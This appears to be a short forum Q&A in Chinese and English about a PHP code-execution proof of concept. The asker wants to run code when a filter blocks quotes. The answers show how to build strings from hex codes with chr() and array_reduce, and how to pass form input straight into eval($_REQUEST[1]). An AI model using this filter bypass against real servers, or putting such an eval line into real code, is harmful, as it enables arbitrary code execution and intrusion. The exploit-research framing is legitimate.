php 不带引号的代码执行

php code execution without quotes

我正在编写 php 代码执行漏洞的 POC,但我有一个无法绕过的过滤器,只是我可以在不使用引号 " ' ` 的情况下执行任何功能。 我尝试执行一些代码,例如 dirscan(getcwd())phpinfo(),它起作用了 但我找不到任何函数来使用它来编码和解码数字 到字符串或任何其他使用 $_REQUEST$_SERVER vars

的方式

有旧的 base64_decode 但它也需要引号。

所以想执行任何我想要的代码吗?

下面的代码可以在不使用任何引号的情况下生成一个字符串:

$array = [ 0x48, 0x45, 0x4c, 0x4c, 0x4f ];

$string = array_reduce($array, function ($a, $b) { return $a . chr($b); });

echo $string; // Prints "HELLO"

使用带有如下输入的表单:

<input type=text name=1>

那么PHP脚本可以做:

eval($_REQUEST[1]);